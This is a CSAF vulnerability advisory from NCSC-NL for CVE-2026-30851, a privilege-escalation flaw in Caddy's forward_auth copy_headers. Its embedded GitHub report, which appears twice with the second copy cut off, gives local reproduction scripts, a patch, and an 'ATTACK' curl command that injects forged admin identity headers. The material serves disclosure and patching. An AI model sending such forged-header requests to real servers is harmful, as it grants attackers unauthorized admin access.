{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-30851",
        "tracking": {
            "current_release_date": "2026-03-25T19:29:52.612555Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-30851",
            "initial_release_date": "2026-03-06T23:39:37.404052Z",
            "revision_history": [
                {
                    "date": "2026-03-06T23:39:37.404052Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T23:39:45.363049Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-07T00:12:57.467004Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T00:13:03.186231Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T11:35:08.392900Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:25:03.516539Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:25:06.616437Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-07T17:38:55.277323Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-07T17:39:01.688784Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T14:48:53.794844Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-08T14:49:03.264794Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-08T18:42:41.407965Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)."
                },
                {
                    "date": "2026-03-09T17:02:44.382299Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T17:02:46.870102Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T18:12:52.113878Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T18:39:27.796575Z",
                    "number": "16",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-11T13:25:11.998178Z",
                    "number": "17",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-11T13:25:21.169974Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:16.906191Z",
                    "number": "19",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:18.864812Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:33:50.767577Z",
                    "number": "21",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-25T18:15:32.054472Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                },
                {
                    "date": "2026-03-25T18:15:33.975826Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T19:25:53.692904Z",
                    "number": "24",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (14).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T19:25:57.745208Z",
                    "number": "25",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "25"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=2.10.0|<2.11.2",
                                "product": {
                                    "name": "vers:unknown/>=2.10.0|<2.11.2",
                                    "product_id": "CSAFPID-5767824",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0",
                                "product": {
                                    "name": "vers:unknown/v2.10.0",
                                    "product_id": "CSAFPID-5700154"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.1",
                                    "product_id": "CSAFPID-5700159"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.2",
                                    "product_id": "CSAFPID-5700160"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0",
                                "product": {
                                    "name": "vers:unknown/v2.11.0",
                                    "product_id": "CSAFPID-5700161"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.1",
                                    "product_id": "CSAFPID-5700162"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.2",
                                    "product_id": "CSAFPID-5700163"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.1",
                                    "product_id": "CSAFPID-5909376"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Caddy"
                    }
                ],
                "category": "vendor",
                "name": "Caddyserver"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:deb/*",
                                        "product": {
                                            "name": "vers:deb/*",
                                            "product_id": "CSAFPID-1390593"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "caddy"
                            }
                        ],
                        "category": "product_family",
                        "name": "bookworm"
                    }
                ],
                "category": "vendor",
                "name": "Debian"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.0",
                                "product": {
                                    "name": "vers:unknown/v2.10.0",
                                    "product_id": "CSAFPID-5737655"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.1",
                                "product": {
                                    "name": "vers:unknown/v2.10.1",
                                    "product_id": "CSAFPID-5737660"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.10.2",
                                "product": {
                                    "name": "vers:unknown/v2.10.2",
                                    "product_id": "CSAFPID-5735034"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0",
                                "product": {
                                    "name": "vers:unknown/v2.11.0",
                                    "product_id": "CSAFPID-5735035"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.1",
                                    "product_id": "CSAFPID-5735036"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v2.11.0-beta.2",
                                    "product_id": "CSAFPID-5735037"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.11.1",
                                "product": {
                                    "name": "vers:unknown/v2.11.1",
                                    "product_id": "CSAFPID-5909377"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "caddy"
                    }
                ],
                "category": "vendor",
                "name": "mholt"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-30851",
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nCaddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| <= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes — unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 — Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get('Authorization', '')\n        code = 200 if auth.startswith('Bearer ') else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9091), H).serve_forever()\n```\n\n### Step 2 — Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),\n            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f'[backend] saw: {data}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9092), H).serve_forever()\n```\n\n### Step 3 — Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 — Run the three test cases\n\n**Test A: No token — must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK — valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t&headers.Handler{\n+\t\t\t\t\t\tRequest: &headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := &headers.Handler{\n \t\t\tRequest: &headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
                    "title": "github - https://api.github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nCaddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| <= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes — unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 — Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get('Authorization', '')\n        code = 200 if auth.startswith('Bearer ') else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9091), H).serve_forever()\n```\n\n### Step 2 — Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),\n            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f'[backend] saw: {data}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9092), H).serve_forever()\n```\n\n### Step 3 — Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 — Run the three test cases\n\n**Test A: No token — must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK — valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t&headers.Handler{\n+\t\t\t\t\t\tRequest: &headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := &headers.Handler{\n \t\t\tRequest: &headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not 